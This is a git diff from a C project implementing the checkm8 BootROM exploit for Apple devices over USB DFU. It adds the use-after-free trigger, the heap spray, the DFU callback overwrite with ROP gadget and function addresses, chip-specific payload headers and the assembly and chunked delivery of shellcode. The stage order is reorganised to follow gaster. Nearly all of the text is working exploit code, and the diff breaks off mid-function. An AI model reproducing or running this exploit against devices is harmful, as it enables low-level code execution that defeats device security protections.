diff --git a/include/exploit/checkm8.h b/include/exploit/checkm8.h index 01e9315..7edef7b 100644 --- a/include/exploit/checkm8.h +++ b/include/exploit/checkm8.h @@ -20,26 +20,29 @@ int checkm8_exploit(device_info_t *dev); /* * Stage 1: Reset DFU state machine to a known clean state. - * Sends DFU_DNLOAD with empty data, then DFU_ABORT. + * Sends DFU_DNLOAD with suffix-length zeroes, polls through manifest + * states, then resets to dfuIDLE. */ int checkm8_stage_reset(exploit_ctx_t *ctx); /* - * Stage 2: Heap spray. Send carefully sized USB transfers to create - * a predictable heap layout in the DFU SRAM region. - */ -int checkm8_stage_spray(exploit_ctx_t *ctx); - -/* - * Stage 3: Trigger use-after-free. Abort a DFU transfer mid-stream - * to free the io_buffer while the pointer remains live. + * Stage 2: Setup -- trigger use-after-free. Sends an async DFU_DNLOAD + * with DFU_MAX_TRANSFER_SZ bytes, then overwrite padding to provoke + * a stall that frees the io_buffer while the pointer remains live. */ int checkm8_stage_setup(exploit_ctx_t *ctx); /* - * Stage 4: Overwrite freed buffer with ROP chain and shellcode. - * After this stage the BootROM executes our payload and the serial - * string should contain "PWND:[checkm8]". + * Stage 3: Heap spray. Two paths based on chip config: + * Path A (large_leak > 0): stall-based GET_DESCRIPTOR spray. + * Path B (large_leak == 0): send/stall cycles to create heap holes. + */ +int checkm8_stage_spray(exploit_ctx_t *ctx); + +/* + * Stage 4: Overwrite freed callback with controlled data, then send + * the payload (chip-specific header + shellcode) in DFU_MAX_TRANSFER_SZ + * chunks. After execution the serial string contains "PWND:[checkm8]". */ int checkm8_stage_patch(exploit_ctx_t *ctx); diff --git a/include/exploit/checkm8_internal.h b/include/exploit/checkm8_internal.h index aec627e..1bca6df 100644 --- a/include/exploit/checkm8_internal.h +++ b/include/exploit/checkm8_internal.h @@ -1,33 +1,168 @@ -/* checkm8_internal.h -- Shared constants and helpers for checkm8 split files */ +/* checkm8_internal.h -- Shared constants, types, and helpers for checkm8 */ #ifndef CHECKM8_INTERNAL_H #define CHECKM8_INTERNAL_H +#include #include "exploit/exploit.h" -/* Heap spray parameters (from gaster analysis) */ -#define SPRAY_COUNT 26 /* Number of spray transfers */ -#define SPRAY_SIZE 0x800 /* Size of each spray chunk (2 KiB) */ +/* ------------------------------------------------------------------ */ +/* Magic constants from gaster */ +/* ------------------------------------------------------------------ */ -/* Stall timeout for mid-stream abort (microseconds) */ -#define STALL_USEC 100000 /* 100 ms */ +#define EXEC_MAGIC 0x6578656365786563ULL /* "execexec" */ +#define MEMC_MAGIC 0x6D656D636D656D63ULL /* "memcmemc" */ +#define DONE_MAGIC 0x646F6E65646F6E65ULL /* "donedone" */ -/* Maximum attempts for the full exploit sequence */ -#define MAX_EXPLOIT_TRIES 3 +/* ------------------------------------------------------------------ */ +/* DFU transfer constants */ +/* ------------------------------------------------------------------ */ -/* Short delay between exploit stages (microseconds) */ -#define STAGE_DELAY_USEC 10000 /* 10 ms */ +#define DFU_FILE_SUFFIX_LEN 16 +#define DFU_MAX_TRANSFER_SZ 0x800 +#define EP0_MAX_PACKET_SZ 0x40 -/* CPID values for ROP chain selection */ -#define CPID_A10 0x8010 -#define CPID_A10X 0x8011 -#define CPID_A11 0x8015 +/* ------------------------------------------------------------------ */ +/* Exploit tuning parameters */ +/* ------------------------------------------------------------------ */ + +#define MAX_EXPLOIT_TRIES 3 +#define STAGE_DELAY_USEC 10000 /* 10 ms */ +#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ +#define USB_TIMEOUT_MS 5000 + +/* ------------------------------------------------------------------ */ +/* CPID classification helpers */ +/* ------------------------------------------------------------------ */ + +/* ARMv7 32-bit chips (payload_dest_armv7 != 0) */ +#define CPID_IS_ARMV7(cpid) \ + ((cpid) == 0x7002 || (cpid) == 0x8002 || (cpid) == 0x8004) + +/* A9-class chips that use the TTBR0 payload variant */ +#define CPID_IS_A9_CLASS(cpid) \ + ((cpid) == 0x8950 || (cpid) == 0x8955 || (cpid) == 0x8947) + +/* Chips with ROP gadgets (tlbi != 0 means newer overwrite path) */ +#define CPID_HAS_TLBI(chip) ((chip)->tlbi != 0) + +/* ------------------------------------------------------------------ */ +/* DFU callback overwrite structures (from gaster) */ +/* ------------------------------------------------------------------ */ + +/* 64-bit ARM64 DFU callback */ +typedef struct { + uint32_t endpoint; + uint32_t pad_0; + uint64_t io_buffer; + uint32_t status; + uint32_t io_len; + uint32_t ret_cnt; + uint32_t pad_1; + uint64_t callback; + uint64_t next; +} dfu_callback_t; + +/* 32-bit ARMv7 DFU callback */ +typedef struct { + uint32_t endpoint; + uint32_t io_buffer; + uint32_t status; + uint32_t io_len; + uint32_t ret_cnt; + uint32_t callback; + uint32_t next; +} dfu_callback_armv7_t; + +/* Overwrite payload wrapper */ +typedef struct { + dfu_callback_t callback; +} checkm8_overwrite_t; + +/* ------------------------------------------------------------------ */ +/* Payload header structures (chip-specific, prepended to shellcode) */ +/* ------------------------------------------------------------------ */ + +/* ARM64 payload header for A9-class chips (with TTBR0 modification) */ +typedef struct { + uint64_t insecure_memory_base; + uint64_t patch_addr; + uint64_t memcpy_addr; + uint64_t aes_crypto_cmd; + uint64_t boot_tramp_end; + uint64_t gUSBSerialNumber; + uint64_t dfu_handle_request; + uint64_t usb_core_do_transfer; + uint64_t dfu_handle_bus_reset; + uint64_t handle_interface_request; + uint64_t usb_create_string_descriptor; + uint64_t usb_serial_number_string_descriptor; + uint64_t ttbr0_addr; + uint64_t ttbr0_vrom_off; +} payload_hdr_a9_t; + +/* ARM64 payload header for A10+ chips (with ROP gadgets) */ +typedef struct { + uint64_t insecure_memory_base; + uint64_t patch_addr; + uint64_t memcpy_addr; + uint64_t aes_crypto_cmd; + uint64_t boot_tramp_end; + uint64_t gUSBSerialNumber; + uint64_t dfu_handle_request; + uint64_t usb_core_do_transfer; + uint64_t dfu_handle_bus_reset; + uint64_t handle_interface_request; + uint64_t usb_create_string_descriptor; + uint64_t usb_serial_number_string_descriptor; + uint64_t ttbr0_addr; + uint64_t tlbi; + uint64_t nop_gadget; + uint64_t ret_gadget; + uint64_t func_gadget; + uint64_t write_ttbr0; + uint64_t ttbr0_vrom_off; + uint64_t ttbr0_sram_off; +} payload_hdr_notA9_t; + +/* ARMv7 payload header for 32-bit chips */ +typedef struct { + uint32_t insecure_memory_base; + uint32_t payload_dest; + uint32_t memcpy_addr; + uint32_t aes_crypto_cmd; + uint32_t gUSBSerialNumber; + uint32_t dfu_handle_request; + uint32_t usb_core_do_transfer; + uint32_t dfu_handle_bus_reset; + uint32_t handle_interface_request; + uint32_t usb_create_string_descriptor; + uint32_t usb_serial_number_string_descriptor; +} payload_hdr_armv7_t; + +/* ------------------------------------------------------------------ */ +/* Internal API */ +/* ------------------------------------------------------------------ */ /* - * assemble_payload -- Build the exploit payload (ROP chain + shellcode) + * assemble_payload -- Build the exploit payload (header + shellcode) * for the given context's chip. Allocates ctx->payload_buf. * Returns 0 on success, -1 on failure. */ int assemble_payload(exploit_ctx_t *ctx); +/* + * usb_ctrl_transfer_async -- Send a control transfer with a short + * timeout, ignoring timeout errors. Used for stall-based spray. + * Returns 0 on success or timeout, -1 on hard failure. + */ +int usb_ctrl_transfer_async(libusb_device_handle *dev, + uint8_t bmRequestType, + uint8_t bRequest, + uint16_t wValue, + uint16_t wIndex, + unsigned char *data, + uint16_t wLength, + unsigned int timeout_ms); + #endif /* CHECKM8_INTERNAL_H */ diff --git a/include/exploit/dfu_proto.h b/include/exploit/dfu_proto.h index 233461e..1685e53 100644 --- a/include/exploit/dfu_proto.h +++ b/include/exploit/dfu_proto.h @@ -23,12 +23,15 @@ /* DFU state values (bState field in status response) */ /* ------------------------------------------------------------------ */ -#define DFU_STATE_IDLE 0x02 -#define DFU_STATE_DNLOAD_SYNC 0x03 -#define DFU_STATE_DNLOAD_IDLE 0x05 -#define DFU_STATE_MANIFEST_SYNC 0x06 -#define DFU_STATE_UPLOAD_IDLE 0x09 -#define DFU_STATE_ERROR 0x0A +#define DFU_STATE_IDLE 0x02 +#define DFU_STATE_DNLOAD_SYNC 0x03 +#define DFU_STATE_DNBUSY 0x04 +#define DFU_STATE_DNLOAD_IDLE 0x05 +#define DFU_STATE_MANIFEST_SYNC 0x06 +#define DFU_STATE_MANIFEST 0x07 +#define DFU_STATE_MANIFEST_WAIT_RST 0x08 +#define DFU_STATE_UPLOAD_IDLE 0x09 +#define DFU_STATE_ERROR 0x0A /* ------------------------------------------------------------------ */ /* DFU status values (bStatus field in status response) */ diff --git a/src/exploit/checkm8.c b/src/exploit/checkm8.c index fe5fab3..f9b3d56 100644 --- a/src/exploit/checkm8.c +++ b/src/exploit/checkm8.c @@ -64,13 +64,14 @@ int exploit_deliver(exploit_ctx_t *ctx) log_info("exploit_deliver: starting checkm8 on %s", ctx->chip->name); + /* Gaster stage order: reset -> setup (UAF) -> spray -> patch */ if (checkm8_stage_reset(ctx) != 0) return -1; - if (checkm8_stage_spray(ctx) != 0) + if (checkm8_stage_setup(ctx) != 0) return -1; - if (checkm8_stage_setup(ctx) != 0) + if (checkm8_stage_spray(ctx) != 0) return -1; if (checkm8_stage_patch(ctx) != 0) diff --git a/src/exploit/checkm8_patch.c b/src/exploit/checkm8_patch.c new file mode 100644 index 0000000..9c7712f --- /dev/null +++ b/src/exploit/checkm8_patch.c @@ -0,0 +1,208 @@ +/* checkm8_patch.c -- checkm8 stage 4: callback overwrite + payload send */ + +#include +#include +#include + +#include "exploit/exploit.h" +#include "exploit/checkm8.h" +#include "exploit/checkm8_internal.h" +#include "exploit/dfu_proto.h" +#include "device/chip_db.h" +#include "util/usb_helpers.h" +#include "util/log.h" + +/* ------------------------------------------------------------------ */ +/* Build callback overwrite */ +/* ------------------------------------------------------------------ */ + +/* + * build_overwrite_64 -- Build a 64-bit DFU callback overwrite. + * + * For chips without tlbi: callback = insecure_memory_base. + * For chips with tlbi (newer): callback = nop_gadget, + * next = insecure_memory_base. + */ +static void build_overwrite_64(checkm8_overwrite_t *ow, + const chip_info_t *chip) +{ + memset(ow, 0, sizeof(*ow)); + + if (CPID_HAS_TLBI(chip)) { + /* Newer path: callback -> nop_gadget, next -> insecure_memory */ + ow->callback.callback = chip->nop_gadget; + ow->callback.next = chip->insecure_memory_base; + log_debug("build_overwrite_64: callback=0x%llX (nop), " + "next=0x%llX (insecure_mem)", + (unsigned long long)ow->callback.callback, + (unsigned long long)ow->callback.next); + } else { + /* Older path: callback -> insecure_memory_base directly */ + ow->callback.callback = chip->insecure_memory_base; + log_debug("build_overwrite_64: callback=0x%llX (insecure_mem)", + (unsigned long long)ow->callback.callback); + } +} + +/* + * build_overwrite_armv7 -- Build a 32-bit ARMv7 DFU callback overwrite. + */ +static void build_overwrite_armv7(dfu_callback_armv7_t *cb, + const chip_info_t *chip) +{ + memset(cb, 0, sizeof(*cb)); + cb->callback = (uint32_t)chip->insecure_memory_base; + log_debug("build_overwrite_armv7: callback=0x%X", + cb->callback); +} + +/* ------------------------------------------------------------------ */ +/* Send overwrite via vendor-specific control request */ +/* ------------------------------------------------------------------ */ + +/* + * send_overwrite -- Send the callback overwrite data to the device. + * + * Uses a control transfer with: + * bmRequestType = 0x02 (host-to-device, standard, endpoint) + * bRequest = 0x03 (SET_FEATURE) + * wValue = 0 + * wIndex = 0x80 (endpoint 0, IN direction) + * + * This overwrites the freed DFU callback structure from the UAF. + * The device will STALL, which is expected. + */ +static int send_overwrite(libusb_device_handle *usb, + const void *data, size_t len) +{ + int ret; + + ret = usb_ctrl_transfer_async(usb, 0x02, 0x03, 0, 0x80, + (unsigned char *)(uintptr_t)data, + (uint16_t)len, STALL_TIMEOUT_MS); + if (ret != 0) { + log_error("send_overwrite: control transfer failed"); + return -1; + } + + log_debug("send_overwrite: sent %zu bytes to EP0 (expect STALL)", len); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Send payload in DFU_MAX_TRANSFER_SZ chunks */ +/* ------------------------------------------------------------------ */ + +static int send_payload_chunks(libusb_device_handle *usb, + const uint8_t *payload, size_t payload_len) +{ + size_t offset = 0; + size_t chunk; + uint16_t block = 0; + + while (offset < payload_len) { + chunk = payload_len - offset; + if (chunk > DFU_MAX_TRANSFER_SZ) + chunk = DFU_MAX_TRANSFER_SZ; + + if (dfu_dnload(usb, block, payload + offset, chunk) != 0) { + log_error("send_payload_chunks: block %u (offset %zu) failed", + block, offset); + return -1; + } + + offset += chunk; + block++; + } + + log_debug("send_payload_chunks: sent %zu bytes in %u blocks", + payload_len, block); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Send DFU file suffix (16 zero bytes to finalize) */ +/* ------------------------------------------------------------------ */ + +static int send_dfu_suffix(libusb_device_handle *usb) +{ + uint8_t suffix[DFU_FILE_SUFFIX_LEN]; + + memset(suffix, 0, sizeof(suffix)); + return dfu_dnload(usb, 0, suffix, DFU_FILE_SUFFIX_LEN); +} + +/* ------------------------------------------------------------------ */ +/* Stage 4: Patch -- overwrite callback + send payload */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_patch(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + const chip_info_t *chip; + dfu_status_t status; + + if (!ctx || !ctx->dev || !ctx->chip) + return -1; + + usb = ctx->dev->usb; + chip = ctx->chip; + log_info("checkm8: stage 4/4 -- overwrite with payload"); + + /* Assemble the payload if not already done */ + if (!ctx->payload_buf) { + if (assemble_payload(ctx) != 0) { + log_error("checkm8_stage_patch: payload assembly failed"); + return -1; + } + } + + /* + * Step 1: Build and send the callback overwrite. + * This overwrites the freed DFU callback structure with our + * controlled data, redirecting execution to our payload. + */ + if (CPID_IS_ARMV7(chip->cpid)) { + dfu_callback_armv7_t cb; + build_overwrite_armv7(&cb, chip); + if (send_overwrite(usb, &cb, sizeof(cb)) != 0) + return -1; + } else { + checkm8_overwrite_t ow; + build_overwrite_64(&ow, chip); + if (send_overwrite(usb, &ow, sizeof(ow)) != 0) + return -1; + } + + /* Step 2: Expect STALL after overwrite, clear it */ + dfu_clr_status(usb); + usleep(STAGE_DELAY_USEC); + + /* + * Step 3: Send the payload (header + shellcode) in + * DFU_MAX_TRANSFER_SZ chunks via DFU_DNLOAD. + */ + if (send_payload_chunks(usb, ctx->payload_buf, + ctx->payload_len) != 0) { + log_error("checkm8_stage_patch: payload send failed"); + return -1; + } + + /* Step 4: Finalize with DFU_FILE_SUFFIX_LEN suffix */ + if (send_dfu_suffix(usb) != 0) { + log_debug("checkm8_stage_patch: suffix send failed (may be ok)"); + } + + /* Poll status to trigger execution of the overwritten callback */ + if (dfu_get_status(usb, &status) != 0) { + log_debug("checkm8_stage_patch: status poll failed " + "(expected if payload redirected execution)"); + } + + /* Delay for shellcode to execute and patch the serial string */ + usleep(STAGE_DELAY_USEC * 5); + + ctx->phase = EXPLOIT_PHASE_PATCH; + log_info("checkm8: stage 4 complete -- payload delivered"); + return 0; +} diff --git a/src/exploit/checkm8_payload.c b/src/exploit/checkm8_payload.c new file mode 100644 index 0000000..feab50d --- /dev/null +++ b/src/exploit/checkm8_payload.c @@ -0,0 +1,171 @@ +/* checkm8_payload.c -- Payload assembly for checkm8 exploit */ + +#include +#include + +#include "exploit/exploit.h" +#include "exploit/checkm8_internal.h" +#include "device/chip_db.h" +#include "util/log.h" + +/* Shellcode binary data (real bytes from ipwndfu) */ +#include "payload/shellcode.h" + +/* ------------------------------------------------------------------ */ +/* Payload header builders */ +/* ------------------------------------------------------------------ */ + +/* + * build_hdr_a9 -- Populate an A9-class payload header from chip_info. + * Used for CPID 0x8950, 0x8955, 0x8947, 0x8000, 0x8003. + */ +static void build_hdr_a9(payload_hdr_a9_t *hdr, const chip_info_t *chip) +{ + memset(hdr, 0, sizeof(*hdr)); + + hdr->insecure_memory_base = chip->insecure_memory_base; + hdr->patch_addr = chip->patch_addr; + hdr->memcpy_addr = chip->memcpy_addr; + hdr->aes_crypto_cmd = chip->aes_crypto_cmd; + hdr->boot_tramp_end = chip->boot_tramp_end; + hdr->gUSBSerialNumber = chip->gUSBSerialNumber; + hdr->dfu_handle_request = chip->dfu_handle_request; + hdr->usb_core_do_transfer = chip->usb_core_do_transfer; + hdr->dfu_handle_bus_reset = chip->dfu_handle_bus_reset; + hdr->handle_interface_request = chip->handle_interface_request; + hdr->usb_create_string_descriptor = chip->usb_create_string_descriptor; + hdr->usb_serial_number_string_descriptor = + chip->usb_serial_number_string_descriptor; + hdr->ttbr0_addr = chip->ttbr0_addr; + hdr->ttbr0_vrom_off = chip->ttbr0_vrom_off; +} + +/* + * build_hdr_notA9 -- Populate a not-A9 (A10+) payload header. + * Used for ARM64 chips with ROP gadgets (0x8960, 0x7001, 0x7000, + * 0x8001, 0x8010, 0x8011, 0x8015, 0x8012). + */ +static void build_hdr_notA9(payload_hdr_notA9_t *hdr, + const chip_info_t *chip) +{ + memset(hdr, 0, sizeof(*hdr)); + + hdr->insecure_memory_base = chip->insecure_memory_base; + hdr->patch_addr = chip->patch_addr; + hdr->memcpy_addr = chip->memcpy_addr; + hdr->aes_crypto_cmd = chip->aes_crypto_cmd; + hdr->boot_tramp_end = chip->boot_tramp_end; + hdr->gUSBSerialNumber = chip->gUSBSerialNumber; + hdr->dfu_handle_request = chip->dfu_handle_request; + hdr->usb_core_do_transfer = chip->usb_core_do_transfer; + hdr->dfu_handle_bus_reset = chip->dfu_handle_bus_reset; + hdr->handle_interface_request = chip->handle_interface_request; + hdr->usb_create_string_descriptor = chip->usb_create_string_descriptor; + hdr->usb_serial_number_string_descriptor = + chip->usb_serial_number_string_descriptor; + hdr->ttbr0_addr = chip->ttbr0_addr; + hdr->tlbi = chip->tlbi; + hdr->nop_gadget = chip->nop_gadget; + hdr->ret_gadget = chip->ret_gadget; + hdr->func_gadget = chip->func_gadget; + hdr->write_ttbr0 = chip->write_ttbr0; + hdr->ttbr0_vrom_off = chip->ttbr0_vrom_off; + hdr->ttbr0_sram_off = chip->ttbr0_sram_off; +} + +/* + * build_hdr_armv7 -- Populate an ARMv7 payload header. + * Used for CPID 0x7002, 0x8002, 0x8004. + */ +static void build_hdr_armv7(payload_hdr_armv7_t *hdr, + const chip_info_t *chip) +{ + memset(hdr, 0, sizeof(*hdr)); + + hdr->insecure_memory_base = (uint32_t)chip->insecure_memory_base; + hdr->payload_dest = (uint32_t)chip->payload_dest_armv7; + hdr->memcpy_addr = (uint32_t)chip->memcpy_addr; + hdr->aes_crypto_cmd = (uint32_t)chip->aes_crypto_cmd; + hdr->gUSBSerialNumber = (uint32_t)chip->gUSBSerialNumber; + hdr->dfu_handle_request = (uint32_t)chip->dfu_handle_request; + hdr->usb_core_do_transfer = (uint32_t)chip->usb_core_do_transfer; + hdr->dfu_handle_bus_reset = (uint32_t)chip->dfu_handle_bus_reset; + hdr->handle_interface_request = (uint32_t)chip->handle_interface_request; + hdr->usb_create_string_descriptor = (uint32_t)chip->usb_create_string_descriptor; + hdr->usb_serial_number_string_descriptor = + (uint32_t)chip->usb_serial_number_string_descriptor; +} + +/* ------------------------------------------------------------------ */ +/* assemble_payload */ +/* ------------------------------------------------------------------ */ + +int assemble_payload(exploit_ctx_t *ctx) +{ + const chip_info_t *chip; + uint8_t *buf; + size_t hdr_len; + const uint8_t *sc; + size_t sc_len; + size_t total; + + if (!ctx || !ctx->chip) + return -1; + + chip = ctx->chip; + + /* + * Select payload variant based on chip type: + * - ARMv7 (0x7002, 0x8002, 0x8004): armv7 header + armv7 shellcode + * - A9-class (0x8950, 0x8955, 0x8947, 0x8000, 0x8003): a9 header + arm64 + * - Everything else (A10+): notA9 header + arm64 shellcode + */ + if (CPID_IS_ARMV7(chip->cpid)) { + hdr_len = sizeof(payload_hdr_armv7_t); + sc = checkm8_shellcode_armv7; + sc_len = checkm8_shellcode_armv7_len; + log_debug("assemble_payload: ARMv7 variant (hdr=%zu, sc=%zu)", + hdr_len, sc_len); + } else if (CPID_IS_A9_CLASS(chip->cpid) || + chip->cpid == 0x8000 || chip->cpid == 0x8003) { + hdr_len = sizeof(payload_hdr_a9_t); + sc = checkm8_shellcode_arm64; + sc_len = checkm8_shellcode_arm64_len; + log_debug("assemble_payload: A9 variant (hdr=%zu, sc=%zu)", + hdr_len, sc_len); + } else { + hdr_len = sizeof(payload_hdr_notA9_t); + sc = checkm8_shellcode_arm64; + sc_len = checkm8_shellcode_arm64_len; + log_debug("assemble_payload: notA9 variant (hdr=%zu, sc=%zu)", + hdr_len, sc_len); + } + + total = hdr_len + sc_len; + buf = calloc(1, total); + if (!buf) { + log_error("assemble_payload: calloc(%zu) failed", total); + return -1; + } + + /* Build the chip-specific header at the start of the buffer */ + if (CPID_IS_ARMV7(chip->cpid)) { + build_hdr_armv7((payload_hdr_armv7_t *)buf, chip); + } else if (CPID_IS_A9_CLASS(chip->cpid) || + chip->cpid == 0x8000 || chip->cpid == 0x8003) { + build_hdr_a9((payload_hdr_a9_t *)buf, chip); + } else { + build_hdr_notA9((payload_hdr_notA9_t *)buf, chip); + } + + /* Shellcode immediately follows the header */ + memcpy(buf + hdr_len, sc, sc_len); + + ctx->payload_buf = buf; + ctx->payload_len = total; + + log_info("assemble_payload: %zu bytes (hdr=%zu + shellcode=%zu) " + "for CPID 0x%04X", + total, hdr_len, sc_len, chip->cpid); + return 0; +} diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index 8024f01..0407db4 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -1,4 +1,4 @@ -/* checkm8_stages.c -- checkm8 exploit stages: reset, spray, setup, patch */ +/* checkm8_stages.c -- checkm8 exploit stages: reset, setup, spray */ #include #include @@ -8,71 +8,38 @@ #include "exploit/checkm8.h" #include "exploit/checkm8_internal.h" #include "exploit/dfu_proto.h" +#include "device/chip_db.h" +#include "util/usb_helpers.h" #include "util/log.h" -/* Payload data (static const byte arrays) */ -#include "payload/rop_a10.h" -#include "payload/rop_a11.h" -#include "payload/shellcode.h" - /* ------------------------------------------------------------------ */ -/* Payload assembly (ROP chain + shellcode) */ +/* Async USB control transfer (ignores timeout errors) */ /* ------------------------------------------------------------------ */ -int assemble_payload(exploit_ctx_t *ctx) +int usb_ctrl_transfer_async(libusb_device_handle *dev, + uint8_t bmRequestType, + uint8_t bRequest, + uint16_t wValue, + uint16_t wIndex, + unsigned char *data, + uint16_t wLength, + unsigned int timeout_ms) { - const uint8_t *rop = NULL; - size_t rop_len = 0; - uint8_t *buf; - size_t total; + int ret; - /* Select ROP chain based on CPID */ - switch (ctx->chip->cpid) { - case CPID_A10: - case CPID_A10X: - rop = rop_chain_a10; - rop_len = rop_chain_a10_len; - log_debug("assemble_payload: using A10 ROP chain (%zu bytes)", - rop_len); - break; + ret = usb_ctrl_transfer(dev, bmRequestType, bRequest, + wValue, wIndex, data, wLength, timeout_ms); - case CPID_A11: - rop = rop_chain_a11; - rop_len = rop_chain_a11_len; - log_debug("assemble_payload: using A11 ROP chain (%zu bytes)", - rop_len); - break; + /* Timeout and pipe errors are expected during stall-based spray */ + if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE) + return 0; - default: - /* - * TODO: Add ROP chains for A7 (0x8947), A8 (0x8960, 0x7000, - * 0x7001), A9 (0x8000, 0x8003), A9X (0x8001). For now, use - * A10 chain as fallback with a warning. - */ - log_warn("assemble_payload: no specific ROP chain for CPID " - "0x%04X, using A10 chain (may not work)", - ctx->chip->cpid); - rop = rop_chain_a10; - rop_len = rop_chain_a10_len; - break; - } - - total = rop_len + checkm8_shellcode_len; - buf = malloc(total); - if (!buf) { - log_error("assemble_payload: malloc(%zu) failed", total); + if (ret < 0) { + log_debug("usb_ctrl_transfer_async: error %d (%s)", + ret, libusb_strerror(ret)); return -1; } - /* ROP chain first, shellcode immediately after */ - memcpy(buf, rop, rop_len); - memcpy(buf + rop_len, checkm8_shellcode, checkm8_shellcode_len); - - ctx->payload_buf = buf; - ctx->payload_len = total; - - log_info("assemble_payload: %zu bytes (ROP=%zu + shellcode=%zu)", - total, rop_len, checkm8_shellcode_len); return 0; } @@ -83,6 +50,9 @@ int assemble_payload(exploit_ctx_t *ctx) int checkm8_stage_reset(exploit_ctx_t *ctx) { libusb_device_handle *usb; + dfu_status_t status; + uint8_t zeros[EP0_MAX_PACKET_SZ]; + uint8_t suffix[DFU_FILE_SUFFIX_LEN]; if (!ctx || !ctx->dev) return -1; @@ -91,24 +61,43 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) log_info("checkm8: stage 1/4 -- reset DFU state"); /* - * Send a zero-length DFU_DNLOAD to signal end-of-transfer, then - * abort to force the state machine back to dfuIDLE. This ensures - * the heap is in a known initial state before spraying. + * Step 1: Send DFU_DNLOAD with DFU_FILE_SUFFIX_LEN (16) bytes of + * zeroes. This signals end-of-download to the DFU state machine. */ - if (dfu_dnload(usb, 0, NULL, 0) != 0) { - log_error("checkm8_stage_reset: DFU_DNLOAD(empty) failed"); + memset(suffix, 0, sizeof(suffix)); + if (dfu_dnload(usb, 0, suffix, DFU_FILE_SUFFIX_LEN) != 0) { + log_error("checkm8_stage_reset: DFU_DNLOAD(suffix) failed"); return -1; } - /* Small delay to let the device process the empty download */ + /* + * Step 2: Wait for DFU state to advance through: + * MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET + * Poll status to drive the state machine. + */ + if (dfu_get_status(usb, &status) != 0) { + log_debug("checkm8_stage_reset: first status poll failed (ok)"); + } + usleep(STAGE_DELAY_USEC); - if (dfu_abort(usb) != 0) { - log_error("checkm8_stage_reset: DFU_ABORT failed"); - return -1; + /* Second poll to advance through manifest */ + if (dfu_get_status(usb, &status) != 0) { + log_debug("checkm8_stage_reset: second status poll failed (ok)"); } - /* Verify device returned to idle */ + /* + * Step 3: Send EP0_MAX_PACKET_SZ (0x40) bytes of zeroes to provoke + * a stall that resets the state machine. + */ + memset(zeros, 0, sizeof(zeros)); + if (dfu_dnload(usb, 0, zeros, EP0_MAX_PACKET_SZ) != 0) { + /* Expected to fail on some chips -- clear status and retry */ + log_debug("checkm8_stage_reset: EP0 zero send failed, clearing"); + dfu_clr_status(usb); + } + + /* Reset to idle state */ if (dfu_reset_to_idle(usb) != 0) { log_error("checkm8_stage_reset: failed to reach dfuIDLE"); return -1; @@ -120,147 +109,169 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) } /* ------------------------------------------------------------------ */ -/* Stage 2: Heap spray */ -/* ------------------------------------------------------------------ */ - -int checkm8_stage_spray(exploit_ctx_t *ctx) -{ - libusb_device_handle *usb; - uint8_t spray_buf[SPRAY_SIZE]; - dfu_status_t status; - int i; - - if (!ctx || !ctx->dev) - return -1; - - usb = ctx->dev->usb; - log_info("checkm8: stage 2/4 -- heap spray (%d x %d bytes)", - SPRAY_COUNT, SPRAY_SIZE); - - /* - * Fill spray buffer with a recognizable pattern. In the real exploit - * this would contain heap metadata that creates a predictable - * allocation layout. 0x41 is a placeholder. - * - * TODO: Replace with actual heap spray content derived from the - * target chip's SRAM layout and allocator behavior. - */ - memset(spray_buf, 0x41, SPRAY_SIZE); - - for (i = 0; i < SPRAY_COUNT; i++) { - if (dfu_dnload(usb, 0, spray_buf, SPRAY_SIZE) != 0) { - log_error("checkm8_stage_spray: spray %d/%d failed", - i + 1, SPRAY_COUNT); - return -1; - } - - /* Poll status to advance DFU state machine */ - if (dfu_get_status(usb, &status) != 0) { - log_warn("checkm8_stage_spray: status poll %d failed " - "(continuing)", i + 1); - /* Non-fatal: some transfers may stall intentionally */ - } - } - - ctx->phase = EXPLOIT_PHASE_SPRAY; - log_info("checkm8: stage 2 complete -- %d spray transfers sent", - SPRAY_COUNT); - return 0; -} - -/* ------------------------------------------------------------------ */ -/* Stage 3: Trigger use-after-free */ +/* Stage 2: Setup -- async DFU_DNLOAD to trigger use-after-free */ /* ------------------------------------------------------------------ */ int checkm8_stage_setup(exploit_ctx_t *ctx) { libusb_device_handle *usb; - uint8_t setup_buf[SPRAY_SIZE]; + const chip_info_t *chip; + uint8_t buf[DFU_MAX_TRANSFER_SZ]; + uint16_t overwrite_pad; + uint16_t remaining_pad; - if (!ctx || !ctx->dev) + if (!ctx || !ctx->dev || !ctx->chip) return -1; usb = ctx->dev->usb; - log_info("checkm8: stage 3/4 -- trigger use-after-free"); + chip = ctx->chip; + overwrite_pad = chip->config_overwrite_pad; + log_info("checkm8: stage 2/4 -- setup (overwrite_pad=0x%X)", + overwrite_pad); /* - * The UAF is triggered by: - * 1. Start a DFU_DNLOAD transfer (device allocates io_buffer) - * 2. Abort mid-stream before the status phase completes - * 3. The io_buffer is freed, but the pointer in the DFU state - * machine remains (dangling pointer -> UAF) - * - * Timing is critical -- STALL_USEC approximates the window. - * TODO: The timing may need per-chip tuning. + * Step 1: Send async DFU_DNLOAD with DFU_MAX_TRANSFER_SZ (0x800) + * bytes. Use a short timeout so we regain control before the device + * finishes processing. */ - memset(setup_buf, 0x42, SPRAY_SIZE); + memset(buf, 0xCC, sizeof(buf)); - /* Start a download to allocate the io_buffer */ - if (dfu_dnload(usb, 0, setup_buf, SPRAY_SIZE) != 0) { - log_error("checkm8_stage_setup: DFU_DNLOAD failed"); + if (usb_ctrl_transfer_async(usb, 0x21, 0x01, 0, 0, + buf, DFU_MAX_TRANSFER_SZ, + STALL_TIMEOUT_MS) != 0) { + log_error("checkm8_stage_setup: async DFU_DNLOAD failed"); return -1; } - /* Wait for device to enter DNLOAD_SYNC state */ - usleep(STALL_USEC); - /* - * Abort the transfer. This frees io_buffer internally while the - * DFU state machine still holds a pointer to it. + * Step 2: The transfer is still completing on the device side. + * Send remaining padding as a series of zero-length OUT requests + * to advance past the overwrite pad boundary. */ - if (dfu_abort(usb) != 0) { - log_error("checkm8_stage_setup: DFU_ABORT (UAF trigger) failed"); - 